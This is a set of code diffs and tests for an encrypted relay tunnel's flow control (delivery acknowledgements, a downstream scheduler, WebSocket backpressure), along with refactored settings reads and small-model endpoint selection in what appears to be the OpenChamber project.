const client = createRelayTunnelClient({ relayUrl, serverId: 'fixture', hostEncPubJwk: await exportPublicKeyJwk(keys.publicKey), batch, flowControl: clientFlow });
|
||||
const states = [];
|
||||
client.subscribeStatus(status => states.push(status.state));
|
||||
const headers = { authorization: 'Bearer fixture-token' };
|
||||
let received = 0;
|
||||
let finished = false;
|
||||
let wsMessages = 0;
|
||||
let streamFailure;
|
||||
const chunks = [];
|
||||
const abort = new AbortController();
|
||||
try {
|
||||
await waitFor(() => client.getStatus().state === 'connected');
|
||||
let stream;
|
||||
if (websocket) {
|
||||
const socket = client.openWebSocket('/api/terminal/ws?oc_url_token=fixture-url-token');
|
||||
stream = new Promise((resolve, reject) => {
|
||||
socket.onmessage = event => {
|
||||
const bytes = new Uint8Array(event.data);
|
||||
chunks.push(bytes);
|
||||
received += bytes.length;
|
||||
wsMessages++;
|
||||
};
|
||||
socket.onclose = event => {
|
||||
finished = true;
|
||||
if (event.code !== 1000) reject(new Error(event.reason));
|
||||
else resolve();
|
||||
};
|
||||
});
|
||||
} else {
|
||||
const response = await client.fetch('/api/global/event', { headers, signal: abort.signal });
|
||||
stream = (async () => {
|
||||
try {
|
||||
for await (const chunk of response.body) { chunks.push(chunk); received += chunk.length; }
|
||||
} catch (error) {
|
||||
if (!cancel || error.name !== 'AbortError') throw error;
|
||||
} finally { finished = true; }
|
||||
})();
|
||||
}
|
||||
stream = stream.catch(error => { streamFailure = error; });
|
||||
await waitFor(() => received > 0 || streamFailure);
|
||||
if (streamFailure) throw streamFailure;
|
||||
if (cancel) abort.abort();
|
||||
const response = await client.fetch('/health', { headers, signal: AbortSignal.timeout(5000) });
|
||||
expect(await response.text()).toBe('ok');
|
||||
const bytesAtProbe = received;
|
||||
await stream;
|
||||
expect(streamFailure).toBeUndefined();
|
||||
expect(finished).toBe(true);
|
||||
if (!cancel) expect(Buffer.concat(chunks).equals(content)).toBe(true);
|
||||
if (websocket) expect(wsMessages).toBe(2);
|
||||
expect(states).toEqual(['connected']);
|
||||
return { bytesAtProbe, total };
|
||||
} finally {
|
||||
client.close();
|
||||
host.stop();
|
||||
clearInterval(drain);
|
||||
for (const ws of relay.clients) ws.terminate();
|
||||
relay.close();
|
||||
for (const ws of upstreamWs.clients) ws.terminate();
|
||||
upstreamWs.close();
|
||||
upstream.closeAllConnections();
|
||||
upstream.close();
|
||||
}
|
||||
}
|
||||
|
||||
describe('end-to-end downstream credit', () => {
|
||||
test('small HTTP response overtakes bulk output without losing bytes or reconnecting', async () => {
|
||||
const result = await exercise();
|
||||
expect(result.bytesAtProbe).toBeLessThan(result.total / 2);
|
||||
// Queue peaks depend on real ACK timing and include encryption overhead.
|
||||
// downstream-scheduler.test.js checks credit bounds with a controlled clock.
|
||||
});
|
||||
test('works without batching', async () => {
|
||||
const result = await exercise({ batch: false });
|
||||
expect(result.bytesAtProbe).toBeLessThan(result.total / 2);
|
||||
});
|
||||
test('cancelling a blocked stream leaves unrelated requests usable', async () => {
|
||||
const result = await exercise({ cancel: true });
|
||||
expect(result.bytesAtProbe).toBeLessThan(result.total);
|
||||
});
|
||||
test('fragmented WS messages remain complete and precede the close', async () => {
|
||||
await exercise({ websocket: true });
|
||||
});
|
||||
for (const legacy of [{ clientFlow: false }, { hostFlow: false }]) {
|
||||
test(`legacy fallback ${JSON.stringify(legacy)} preserves delivery`, async () => {
|
||||
const result = await exercise(legacy);
|
||||
expect(result.bytesAtProbe).toBe(result.total);
|
||||
});
|
||||
}
|
||||
});
|
||||
@@ -6,8 +6,9 @@
|
||||
import { WebSocket } from 'ws';
|
||||
|
||||
import { RELAY_PROTOCOL_VERSION, RelayCloseCode, createHostHandshake } from './e2ee.js';
|
||||
import { createOutboundFrameBatcher, decodeFrameBatch } from './tunnel-codec.js';
|
||||
import { createOutboundFrameBatcher, decodeFrameBatch, decodeTunnelFrame, decodeDeliveryAck, encodeFrameBatch, TunnelFrameType } from './tunnel-codec.js';
|
||||
import { createTunnelHost } from './tunnel-host.js';
|
||||
import { createDownstreamScheduler, DOWNSTREAM_CHUNK_BYTES } from './downstream-scheduler.js';
|
||||
|
||||
const BACKOFF_BASE_MS = 1000;
|
||||
const BACKOFF_CAP_MS = 30000;
|
||||
@@ -48,7 +49,7 @@ const resolveBatchWindowMs = (option) => {
|
||||
* logger?: Pick<Console, 'warn'>,
|
||||
* }} options
|
||||
*/
|
||||
export const startRelayHost = ({ relayUrl, identity, localPort, getLocalPort, onStatus, logger = console, batchWindowMs, batch }) => {
|
||||
export const startRelayHost = ({ relayUrl, identity, localPort, getLocalPort, onStatus, logger = console, batchWindowMs, batch, flowControl }) => {
|
||||
const resolveLocalPort = typeof getLocalPort === 'function' ? getLocalPort : () => localPort;
|
||||
const localBatch = batch !== false;
|
||||
const resolvedBatchWindowMs = resolveBatchWindowMs(batchWindowMs);
|
||||
@@ -95,6 +96,7 @@ export const startRelayHost = ({ relayUrl, identity, localPort, getLocalPort, on
|
||||
dataSockets.delete(connectionId);
|
||||
if (entry.openTimer) clearTimeout(entry.openTimer);
|
||||
entry.batcher?.dispose();
|
||||
entry.scheduler?.close();
|
||||
entry.tunnel?.close();
|
||||
try {
|
||||
if (entry.socket.readyState === WebSocket.OPEN || entry.socket.readyState === WebSocket.CONNECTING) {
|
||||
@@ -118,14 +120,14 @@ export const startRelayHost = ({ relayUrl, identity, localPort, getLocalPort, on
|
||||
return;
|
||||
}
|
||||
|
||||
const entry = { socket, tunnel: null, openTimer: null, batcher: null, lastActivityAt: Date.now() };
|
||||
const entry = { socket, tunnel: null, openTimer: null, batcher: null, scheduler: null, lastActivityAt: Date.now() };
|
||||
dataSockets.set(connectionId, entry);
|
||||
entry.openTimer = setTimeout(() => {
|
||||
logger.warn('[Relay] host-data socket open timeout');
|
||||
teardownDataSocket(connectionId);
|
||||
}, DATA_SOCKET_OPEN_TIMEOUT_MS);
|
||||
|
||||
const handshake = createHostHandshake(identity.hostEncPrivateKey, { batch: localBatch });
|
||||
const handshake = createHostHandshake(identity.hostEncPrivateKey, { batch: localBatch, flowControl });
|
||||
let channel = null;
|
||||
let batchNegotiated = false;
|
||||
// Serialize async message handling so encrypted frame order (and the
|
||||
@@ -140,11 +142,14 @@ export const startRelayHost = ({ relayUrl, identity, localPort, getLocalPort, on
|
||||
.then(async () => {
|
||||
if (dataSockets.get(connectionId) !== entry || socket.readyState !== WebSocket.OPEN || !channel) return;
|
||||
const encrypted = await channel.encryptor.encrypt(plaintext);
|
||||
if (dataSockets.get(connectionId) !== entry || socket.readyState !== WebSocket.OPEN) return;
|
||||
socket.send(encrypted, { binary: true });
|
||||
})
|
||||
.catch((error) => {
|
||||
logger.warn(`[Relay] host-data send failed: ${error?.message ?? error}`);
|
||||
failChannel(RelayCloseCode.ChannelFailure, 'send failed');
|
||||
});
|
||||
return sendChain;
|
||||
};
|
||||
|
||||
const failChannel = (closeCode, reason) => {
|
||||
@@ -167,17 +172,25 @@ export const startRelayHost = ({ relayUrl, identity, localPort, getLocalPort, on
|
||||
} else if (action.type === 'established') {
|
||||
channel = action.channel;
|
||||
batchNegotiated = action.batch === true;
|
||||
entry.batcher = batchNegotiated
|
||||
entry.scheduler = action.flowControl ? createDownstreamScheduler({
|
||||
sendBatch: frames => sendEncryptedPlaintext(batchNegotiated ? encodeFrameBatch(frames) : frames[0]),
|
||||
maxBatchFrames: batchNegotiated ? 32 : 1,
|
||||
onError: () => failChannel(RelayCloseCode.ChannelFailure, 'downstream queue failed'),
|
||||
}) : null;
|
||||
entry.batcher = batchNegotiated && !entry.scheduler
|
||||
? createOutboundFrameBatcher({ windowMs: resolvedBatchWindowMs, sendBatch: sendEncryptedPlaintext })
|
||||
: null;
|
||||
entry.tunnel = createTunnelHost({
|
||||
connectionId,
|
||||
getLocalPort: resolveLocalPort,
|
||||
getBufferedAmount: () => socket.bufferedAmount,
|
||||
responseChunkBytes: entry.scheduler ? DOWNSTREAM_CHUNK_BYTES : undefined,
|
||||
cancelPendingFrames: streamId => entry.scheduler?.cancel(streamId),
|
||||
sendFrame: (plaintextFrame) => {
|
||||
if (dataSockets.get(connectionId) !== entry || socket.readyState !== WebSocket.OPEN) return;
|
||||
if (entry.scheduler) return entry.scheduler.send(plaintextFrame);
|
||||
if (entry.batcher) entry.batcher.enqueue(plaintextFrame);
|
||||
else sendEncryptedPlaintext(plaintextFrame);
|
||||
else return sendEncryptedPlaintext(plaintextFrame);
|
||||
},
|
||||
});
|
||||
if (action.replyText) socket.send(action.replyText);
|
||||
@@ -205,16 +218,32 @@ export const startRelayHost = ({ relayUrl, identity, localPort, getLocalPort, on
|
||||
// in order through the same per-frame handling as legacy.
|
||||
for (const frame of decodeFrameBatch(plaintext)) {
|
||||
if (dataSockets.get(connectionId) !== entry) return;
|
||||
await entry.tunnel.handleFrame(frame);
|
||||
await dispatchFrame(frame);
|
||||
}
|
||||
} else {
|
||||
await entry.tunnel.handleFrame(plaintext);
|
||||
await dispatchFrame(plaintext);
|
||||
}
|
||||
} catch (error) {
|
||||
logger.warn(`[Relay] tunnel frame handling failed: ${error?.message ?? error}`);
|
||||
failChannel(RelayCloseCode.ChannelFailure, 'invalid tunnel frame');
|
||||
}
|
||||
};
|
||||
|
||||
const dispatchFrame = (plaintext) => {
|
||||
const frame = decodeTunnelFrame(plaintext);
|
||||
if (frame.frameType === TunnelFrameType.DeliveryAck) {
|
||||
if (!entry.scheduler || frame.streamId !== 0 || frame.hasMoreFragments) {
|
||||
throw new Error('unexpected delivery acknowledgement');
|
||||
}
|
||||
entry.scheduler.acknowledge(decodeDeliveryAck(frame.payload));
|
||||
return;
|
||||
}
|
||||
// Never await outbound credit on the receive chain: ACKs use this chain too.
|
||||
void entry.tunnel.handleFrame(plaintext).catch(() => {
|
||||
failChannel(RelayCloseCode.ChannelFailure, 'invalid tunnel frame');
|
||||
});
|
||||
};
|
||||
|
||||
socket.on('open', () => {
|
||||
if (entry.openTimer) {
|
||||
clearTimeout(entry.openTimer);
|
||||
|
||||
@@ -34,6 +34,7 @@ export const TunnelFrameType = {
|
||||
WsClose: 10,
|
||||
Ping: 11,
|
||||
Pong: 12,
|
||||
DeliveryAck: 13,
|
||||
};
|
||||
|
||||
const TUNNEL_FRAME_TYPE_VALUES = new Set(Object.values(TunnelFrameType));
|
||||
@@ -43,6 +44,14 @@ export const isTunnelFrameType = (value) => TUNNEL_FRAME_TYPE_VALUES.has(value);
|
||||
|
||||
const MAX_STREAM_ID = 0xffffffff;
|
||||
|
||||
/** Decode the client's cumulative raw tunnel-frame byte count. */
|
||||
export const decodeDeliveryAck = (payload) => {
|
||||
if (payload.length !== 8) throw new Error('invalid delivery acknowledgement');
|
||||
const bytes = Number(new DataView(payload.buffer, payload.byteOffset, payload.byteLength).getBigUint64(0));
|
||||
if (!Number.isSafeInteger(bytes)) throw new Error('invalid delivery acknowledgement');
|
||||
return bytes;
|
||||
};
|
||||
|
||||
export class TunnelCodecError extends Error {
|
||||
constructor(message) {
|
||||
super(message);
|
||||
|
||||
@@ -15,7 +15,6 @@ import {
|
||||
createFragmentAssembler,
|
||||
decodeJsonPayload,
|
||||
decodeTunnelFrame,
|
||||
encodeFragmentedMessage,
|
||||
encodeJsonPayload,
|
||||
encodeTunnelFrame,
|
||||
} from './tunnel-codec.js';
|
||||
@@ -74,6 +73,11 @@ const BODY_BUFFER_MAX_BYTES = 512 * 1024;
|
||||
// completes, so a stalled tunnel converts into an ambiguous transport failure
|
||||
// (which the client already retries) instead of a hung loopback request.
|
||||
const BODY_DELIVERY_TIMEOUT_MS = 15_000;
|
||||
const MAX_PENDING_WS_BYTES = 16 * 1024 * 1024;
|
||||
const MAX_PENDING_WS_MESSAGES = 1024;
|
||||
// Node ws supports read backpressure. Bun's ws shim does not implement pause;
|
||||
// there the bounded queue fails the affected substream explicitly on overflow.
|
||||
const CAN_PAUSE_WS_READS = !process.versions.bun;
|
||||
|
||||
const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
|
||||
|
||||
@@ -99,13 +103,17 @@ const isWsClosePayload = (parsed) => Boolean(parsed && typeof parsed === 'object
|
||||
* sendFrame: (plaintextFrame: Uint8Array) => void | Promise<void>,
|
||||
* getBufferedAmount: () => number,
|
||||
* bodyDeliveryTimeoutMs?: number,
|
||||
* responseChunkBytes?: number,
|
||||
* cancelPendingFrames?: (streamId: number) => void,
|
||||
* }} deps
|
||||
*/
|
||||
export const createTunnelHost = ({ connectionId, getLocalPort, sendFrame, getBufferedAmount, bodyDeliveryTimeoutMs = BODY_DELIVERY_TIMEOUT_MS }) => {
|
||||
export const createTunnelHost = ({ connectionId, getLocalPort, sendFrame, getBufferedAmount, bodyDeliveryTimeoutMs = BODY_DELIVERY_TIMEOUT_MS, responseChunkBytes = MAX_TUNNEL_PAYLOAD_BYTES, cancelPendingFrames = () => {} }) => {
|
||||
/** @type {Map<number, { kind: 'http', abort: AbortController, body: { enqueue(payload: Uint8Array): void, close(): void, error(error: Error): void } | null, noBody: boolean } | { kind: 'ws', socket: WebSocket, opened: boolean }>} */
|
||||
const streams = new Map();
|
||||
const assembler = createFragmentAssembler();
|
||||
let closed = false;
|
||||
let pendingWsBytes = 0;
|
||||
let pendingWsMessages = 0;
|
||||
|
||||
const send = async (frame) => {
|
||||
if (closed) return;
|
||||
@@ -128,6 +136,7 @@ export const createTunnelHost = ({ connectionId, getLocalPort, sendFrame, getBuf
|
||||
const stream = streams.get(streamId);
|
||||
if (!stream) return;
|
||||
dropStream(streamId);
|
||||
cancelPendingFrames(streamId);
|
||||
if (stream.kind === 'http') {
|
||||
try {
|
||||
stream.body?.error(new Error(String(reason ?? 'aborted')));
|
||||
@@ -205,17 +214,27 @@ export const createTunnelHost = ({ connectionId, getLocalPort, sendFrame, getBuf
|
||||
if (STRIPPED_RESPONSE_HEADERS.has(name)) continue;
|
||||
responseHeaders[name] = value;
|
||||
}
|
||||
await sendJson(TunnelFrameType.HttpResponse, streamId, { status: response.status, headers: responseHeaders });
|
||||
if (closed || stream.abort.signal.aborted) {
|
||||
await response.body?.cancel();
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
await sendJson(TunnelFrameType.HttpResponse, streamId, { status: response.status, headers: responseHeaders });
|
||||
if (response.body) {
|
||||
for await (const chunk of response.body) {
|
||||
if (closed || stream.abort.signal.aborted) return;
|
||||
const bytes = chunk instanceof Uint8Array ? chunk : new Uint8Array(chunk);
|
||||
for (const piece of chunkPayload(bytes, MAX_TUNNEL_PAYLOAD_BYTES)) {
|
||||
const pieces = chunkPayload(bytes, responseChunkBytes);
|
||||
// Offer at most one plaintext-frame budget at a time. The scheduler
|
||||
// can batch small slices and interleave streams without buffering the
|
||||
// entire source or encrypting hundreds of tiny messages separately.
|
||||
const groupSize = Math.max(1, Math.floor(MAX_TUNNEL_PAYLOAD_BYTES / responseChunkBytes));
|
||||
for (let offset = 0; offset < pieces.length; offset += groupSize) {
|
||||
await waitForBackpressure(stream.abort.signal);
|
||||
if (closed || stream.abort.signal.aborted) return;
|
||||
await send(encodeTunnelFrame(TunnelFrameType.HttpBody, streamId, piece));
|
||||
await Promise.all(pieces.slice(offset, offset + groupSize).map(piece =>
|
||||
send(encodeTunnelFrame(TunnelFrameType.HttpBody, streamId, piece))));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -448,6 +467,7 @@ export const createTunnelHost = ({ connectionId, getLocalPort, sendFrame, getBuf
|
||||
try {
|
||||
socket = new WebSocket(url, open.protocols, {
|
||||
headers: dialHeaders,
|
||||
maxPayload: MAX_PENDING_WS_BYTES,
|
||||
});
|
||||
} catch (error) {
|
||||
void sendAbort(streamId, error?.message ?? 'ws dial failed');
|
||||
@@ -455,6 +475,8 @@ export const createTunnelHost = ({ connectionId, getLocalPort, sendFrame, getBuf
|
||||
}
|
||||
const stream = { kind: 'ws', socket, opened: false };
|
||||
streams.set(streamId, stream);
|
||||
let outputChain = Promise.resolve();
|
||||
let socketPendingMessages = 0;
|
||||
|
||||
socket.on('open', () => {
|
||||
if (streams.get(streamId) !== stream) return;
|
||||
@@ -465,23 +487,47 @@ export const createTunnelHost = ({ connectionId, getLocalPort, sendFrame, getBuf
|
||||
if (streams.get(streamId) !== stream || closed) return;
|
||||
const bytes = Buffer.isBuffer(data) ? new Uint8Array(data) : new Uint8Array(Buffer.concat(data));
|
||||
const frameType = isBinary ? TunnelFrameType.WsBinary : TunnelFrameType.WsText;
|
||||
void (async () => {
|
||||
for (const frame of encodeFragmentedMessage(frameType, streamId, bytes)) {
|
||||
if (pendingWsBytes + bytes.length > MAX_PENDING_WS_BYTES || pendingWsMessages >= MAX_PENDING_WS_MESSAGES) {
|
||||
abortLocalStream(streamId, 'upstream WebSocket exceeded downstream queue limit');
|
||||
void sendAbort(streamId, 'upstream WebSocket exceeded downstream queue limit');
|
||||
return;
|
||||
}
|
||||
pendingWsBytes += bytes.length;
|
||||
pendingWsMessages += 1;
|
||||
socketPendingMessages += 1;
|
||||
if (CAN_PAUSE_WS_READS) socket.pause();
|
||||
outputChain = outputChain.then(async () => {
|
||||
// Serialize entire messages, including their fragments. A later close
|
||||
// must also wait here or it can overtake the final output.
|
||||
const chunks = chunkPayload(bytes, responseChunkBytes);
|
||||
const groupSize = Math.max(1, Math.floor(MAX_TUNNEL_PAYLOAD_BYTES / responseChunkBytes));
|
||||
for (let offset = 0; offset < chunks.length; offset += groupSize) {
|
||||
await waitForBackpressure(null);
|
||||
if (streams.get(streamId) !== stream || closed) return;
|
||||
await send(frame);
|
||||
await Promise.all(chunks.slice(offset, offset + groupSize).map((chunk, index) =>
|
||||
send(encodeTunnelFrame(frameType, streamId, chunk, offset + index < chunks.length - 1))));
|
||||
}
|
||||
})();
|
||||
}).catch(() => {
|
||||
abortLocalStream(streamId, 'upstream WebSocket forwarding failed');
|
||||
void sendAbort(streamId, 'upstream WebSocket forwarding failed');
|
||||
}).finally(() => {
|
||||
pendingWsBytes -= bytes.length;
|
||||
pendingWsMessages -= 1;
|
||||
socketPendingMessages -= 1;
|
||||
if (CAN_PAUSE_WS_READS && socketPendingMessages === 0 && streams.get(streamId) === stream && socket.readyState === WebSocket.OPEN) socket.resume();
|
||||
});
|
||||
});
|
||||
socket.on('close', (code, reasonBuffer) => {
|
||||
if (streams.get(streamId) !== stream) return;
|
||||
dropStream(streamId);
|
||||
const reason = reasonBuffer ? reasonBuffer.toString('utf8') : '';
|
||||
if (stream.opened) {
|
||||
void sendJson(TunnelFrameType.WsClose, streamId, { code: code || 1000, reason });
|
||||
} else {
|
||||
void sendAbort(streamId, reason || `upstream ws closed (${code || 'no code'})`);
|
||||
}
|
||||
void outputChain.then(async () => {
|
||||
if (streams.get(streamId) !== stream) return;
|
||||
dropStream(streamId);
|
||||
const reason = reasonBuffer ? reasonBuffer.toString('utf8') : '';
|
||||
if (stream.opened) {
|
||||
await sendJson(TunnelFrameType.WsClose, streamId, { code: code || 1000, reason });
|
||||
} else {
|
||||
await sendAbort(streamId, reason || `upstream ws closed (${code || 'no code'})`);
|
||||
}
|
||||
});
|
||||
});
|
||||
socket.on('error', (error) => {
|
||||
if (streams.get(streamId) !== stream) return;
|
||||
@@ -512,6 +558,7 @@ export const createTunnelHost = ({ connectionId, getLocalPort, sendFrame, getBuf
|
||||
const stream = streams.get(streamId);
|
||||
if (!stream || stream.kind !== 'ws') return;
|
||||
dropStream(streamId);
|
||||
cancelPendingFrames(streamId);
|
||||
let close = { code: 1000, reason: '' };
|
||||
try {
|
||||
close = decodeJsonPayload(payload, isWsClosePayload);
|
||||
@@ -520,6 +567,8 @@ export const createTunnelHost = ({ connectionId, getLocalPort, sendFrame, getBuf
|
||||
}
|
||||
const code = Number.isInteger(close.code) && close.code >= 1000 && close.code <= 4999 ? close.code : 1000;
|
||||
try {
|
||||
// A paused receiver still needs to read the peer's close handshake.
|
||||
if (CAN_PAUSE_WS_READS) stream.socket.resume();
|
||||
stream.socket.close(code, typeof close.reason === 'string' ? close.reason : '');
|
||||
} catch {
|
||||
stream.socket.terminate();
|
||||
|
||||
@@ -11,6 +11,7 @@
|
||||
import fs from 'fs';
|
||||
import os from 'os';
|
||||
import path from 'path';
|
||||
import { readMergedSettingsSync } from '../opencode/settings-files.js';
|
||||
|
||||
const OPENCHAMBER_SETTINGS_FILE = path.join(
|
||||
process.env.OPENCHAMBER_DATA_DIR
|
||||
@@ -23,16 +24,11 @@ const OPENCHAMBER_SETTINGS_FILE = path.join(
|
||||
// off, no small-model calls and no metadata writes happen at all. Existing
|
||||
// payloads stay untouched — clients keep showing them and dismissal still works.
|
||||
const getSessionAssistTargets = () => {
|
||||
try {
|
||||
const raw = fs.readFileSync(OPENCHAMBER_SETTINGS_FILE, 'utf8');
|
||||
const settings = JSON.parse(raw);
|
||||
return {
|
||||
recap: settings?.sessionRecapEnabled !== false,
|
||||
suggestion: settings?.sessionSuggestionEnabled !== false,
|
||||
};
|
||||
} catch {
|
||||
return { recap: true, suggestion: true };
|
||||
}
|
||||
const settings = readMergedSettingsSync({ fs, path, settingsFilePath: OPENCHAMBER_SETTINGS_FILE });
|
||||
return {
|
||||
recap: settings.sessionRecapEnabled !== false,
|
||||
suggestion: settings.sessionSuggestionEnabled !== false,
|
||||
};
|
||||
};
|
||||
|
||||
const IDLE_QUIET_MS = 60_000;
|
||||
|
||||
@@ -19,6 +19,7 @@ import os from 'os';
|
||||
import path from 'path';
|
||||
|
||||
import { GOAL_OBJECTIVE_CHAR_LIMIT, readObjective } from './objectives.js';
|
||||
import { readMergedSettingsSync } from '../opencode/settings-files.js';
|
||||
|
||||
const OPENCHAMBER_SETTINGS_FILE = path.join(
|
||||
process.env.OPENCHAMBER_DATA_DIR
|
||||
@@ -27,15 +28,9 @@ const OPENCHAMBER_SETTINGS_FILE = path.join(
|
||||
'settings.json',
|
||||
);
|
||||
|
||||
const isSessionGoalEnabled = () => {
|
||||
try {
|
||||
const raw = fs.readFileSync(OPENCHAMBER_SETTINGS_FILE, 'utf8');
|
||||
const settings = JSON.parse(raw);
|
||||
return settings?.sessionGoalEnabled !== false;
|
||||
} catch {
|
||||
return true;
|
||||
}
|
||||
};
|
||||
const isSessionGoalEnabled = () => (
|
||||
readMergedSettingsSync({ fs, path, settingsFilePath: OPENCHAMBER_SETTINGS_FILE }).sessionGoalEnabled !== false
|
||||
);
|
||||
|
||||
const IDLE_QUIET_MS = 15_000;
|
||||
// A goal set while the session is already idle should kick off promptly.
|
||||
|
||||
@@ -117,8 +117,9 @@ other runtime API.
|
||||
- Everything else: OpenAI-compatible `/chat/completions` against the
|
||||
provider's base URL, resolved from (1) `provider.<id>.options.baseURL`
|
||||
in the OpenCode config, (2) the hardcoded `https://api.openai.com/v1`
|
||||
endpoint, (3) the endpoint OpenCode resolved at runtime, or (4) the
|
||||
provider's `api` field from the models.dev catalog. The credential follows
|
||||
endpoint, (3) the selected model's endpoint OpenCode resolved at runtime,
|
||||
(4) the provider-level runtime endpoint, or (5) the provider's `api` field
|
||||
from the models.dev catalog. The credential follows
|
||||
the same shape: config `options.apiKey`, then the runtime credential, then
|
||||
the auth.json entry. `provider.<id>.options.headers` is sent with the
|
||||
request and overrides the bearer default, so gateways that authenticate on
|
||||
|
||||
@@ -606,6 +606,8 @@ const readProviderConfig = (workingDirectory, providerID) => {
|
||||
}
|
||||
}
|
||||
|
||||
const getRuntimeModel = (runtimeProvider, modelID) => runtimeProvider?.models?.get(modelID) ?? null;
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Dispatch
|
||||
// ---------------------------------------------------------------------------
|
||||
@@ -650,6 +652,7 @@ export async function callSmallModel({ auth, catalog, workingDirectory, sessionI
|
||||
const tokens = Number(maxOutputTokens) > 0 ? Number(maxOutputTokens) : DEFAULT_MAX_OUTPUT_TOKENS;
|
||||
const providerConfig = readProviderConfig(workingDirectory, providerID);
|
||||
const runtimeProvider = await getRuntimeProvider(providerID);
|
||||
const runtimeModel = getRuntimeModel(runtimeProvider, modelID);
|
||||
// Match OpenCode's resolveSDK precedence: config `provider.<id>.options`
|
||||
// wins, then what OpenCode itself resolved at runtime (the only place a
|
||||
// plugin's credential exists), and the auth.json entry last.
|
||||
@@ -759,9 +762,10 @@ export async function callSmallModel({ auth, catalog, workingDirectory, sessionI
|
||||
// base URL for that provider (openai itself included). When a custom provider
|
||||
// is not in the catalog (e.g. a user-configured OpenAI-compatible proxy),
|
||||
// fall back to its baseURL from the OpenCode provider config, then to the
|
||||
// endpoint OpenCode resolved at runtime — which for a plugin provider is the
|
||||
// only place it exists, and for several of them is a local proxy the plugin
|
||||
// itself runs. The openai provider also respects
|
||||
// selected model's endpoint OpenCode resolved at runtime, then to the
|
||||
// provider-level runtime endpoint. For a plugin provider, the runtime listing
|
||||
// is the only place those endpoints exist, and several are local proxies the
|
||||
// plugin itself runs. The openai provider also respects
|
||||
// provider.openai.options.baseURL — OpenCode itself uses the same config for
|
||||
// all providers including openai.
|
||||
const provider = getCatalogProvider(catalog, providerID);
|
||||
@@ -771,7 +775,8 @@ export async function callSmallModel({ auth, catalog, workingDirectory, sessionI
|
||||
? providerConfigUrl
|
||||
: providerID === 'openai'
|
||||
? defaultOpenaiUrl
|
||||
: runtimeProvider?.baseURL
|
||||
: runtimeModel?.api?.url
|
||||
?? runtimeProvider?.baseURL
|
||||
?? (typeof provider?.api === 'string' && provider.api
|
||||
? provider.api
|
||||
: null);
|
||||
|
||||
@@ -565,6 +565,35 @@ describe('callSmallModel — custom provider config', () => {
|
||||
expect(init.headers.Authorization).toBe('Bearer plugin-key');
|
||||
});
|
||||
|
||||
it('uses the selected runtime model endpoint', async () => {
|
||||
readConfig.mockReturnValue({});
|
||||
getRuntimeProvider.mockResolvedValue({
|
||||
id: 'runtime-provider',
|
||||
apiKey: 'plugin-key',
|
||||
baseURL: 'https://runtime-provider/v1beta',
|
||||
models: new Map([
|
||||
['first-model', { api: { url: 'https://runtime-provider/v1beta', npm: '@ai-sdk/google' } }],
|
||||
['selected-model', { api: { url: 'https://runtime-provider/v1', npm: '@ai-sdk/openai' } }],
|
||||
]),
|
||||
anonymousZen: false,
|
||||
});
|
||||
fetchMock.mockResolvedValue(ok('done'));
|
||||
|
||||
await callSmallModel({
|
||||
auth: {},
|
||||
catalog: {},
|
||||
workingDirectory: '/proj',
|
||||
providerID: 'runtime-provider',
|
||||
modelID: 'selected-model',
|
||||
prompt: 'hi',
|
||||
});
|
||||
|
||||
const { url, init } = lastCall(fetchMock);
|
||||
expect(url).toBe('https://runtime-provider/v1/chat/completions');
|
||||
expect(url).not.toContain('/v1beta');
|
||||
expect(JSON.parse(init.body).model).toBe('selected-model');
|
||||
});
|
||||
|
||||
it('keeps the ChatGPT-plan login on its own transport instead of the runtime key', async () => {
|
||||
readConfig.mockReturnValue({});
|
||||
// OpenCode reports an OAuth access token as `options.apiKey` for openai;
|
||||
|
||||
@@ -6,6 +6,7 @@ import { readConfigLayers } from '../opencode/shared.js';
|
||||
import { getModelCatalog } from './catalog.js';
|
||||
import { resolveSmallModel, parseModelRef, isUsableAuthEntry, getAuthEntryForProvider } from './resolve.js';
|
||||
import { DEDICATED_WIRE_FORMAT_PROVIDERS, callSmallModel, resolveProviderLogin } from './call.js';
|
||||
import { readMergedSettingsSync } from '../opencode/settings-files.js';
|
||||
import { getRuntimeProviderSnapshot } from './runtime-providers.js';
|
||||
|
||||
// Never a small model, whatever the transport looks like. A plugin can publish
|
||||
@@ -26,16 +27,10 @@ const OPENCHAMBER_SETTINGS_FILE = path.join(
|
||||
// OpenChamber's own settings: when the user unchecks "use default small model"
|
||||
// their explicit override outranks every other resolution step.
|
||||
const readSmallModelSettingsOverride = () => {
|
||||
try {
|
||||
const raw = fs.readFileSync(OPENCHAMBER_SETTINGS_FILE, 'utf8');
|
||||
const settings = JSON.parse(raw);
|
||||
if (!settings || typeof settings !== 'object') return null;
|
||||
if (settings.smallModelUseDefault !== false) return null;
|
||||
const override = typeof settings.smallModelOverride === 'string' ? settings.smallModelOverride.trim() : '';
|
||||
return override || null;
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
const settings = readMergedSettingsSync({ fs, path, settingsFilePath: OPENCHAMBER_SETTINGS_FILE });
|
||||
if (settings.smallModelUseDefault !== false) return null;
|
||||
const override = typeof settings.smallModelOverride === 'string' ? settings.smallModelOverride.trim() : '';
|
||||
return override || null;
|
||||
};
|
||||
|
||||
// Rough safety clamp so a huge input never blows the model's context window.
|
||||
|
||||
@@ -8,7 +8,8 @@
|
||||
//
|
||||
// `GET /provider` is where that state becomes visible. It reports, per
|
||||
// provider, the resolved `options.baseURL` and `options.apiKey`, and per model
|
||||
// the wire adapter (`api.npm`) and endpoint (`api.url`).
|
||||
// the wire adapter (`api.npm`) and endpoint (`api.url`). The provider-level
|
||||
// endpoint remains only as a fallback when the selected model has no endpoint.
|
||||
//
|
||||
// What it does NOT report is `options.fetch`. OpenCode strips functions from
|
||||
// the response, and a plugin is free to put its whole protocol in there:
|
||||
@@ -61,8 +62,8 @@ export function resetOpenCodeRuntimeProviders() {
|
||||
/**
|
||||
* The boundary. Everything the `/provider` payload claims is checked here, so
|
||||
* the rest of this module and its callers work with settled values:
|
||||
* a credential we may use, an endpoint, and whether the provider is the
|
||||
* anonymous zen case.
|
||||
* a credential we may use, provider and model endpoints, and whether the
|
||||
* provider is the anonymous zen case.
|
||||
*
|
||||
* The credential deliberately prefers `options.apiKey` over the `key` field:
|
||||
* for a plugin provider the former is what its auth loader produced and what
|
||||
@@ -82,13 +83,22 @@ function parseProviderListing(payload) {
|
||||
const id = text(record(raw).id);
|
||||
if (!id) continue;
|
||||
const options = record(record(raw).options);
|
||||
const firstModel = record(Object.values(record(record(raw).models))[0]);
|
||||
const models = new Map();
|
||||
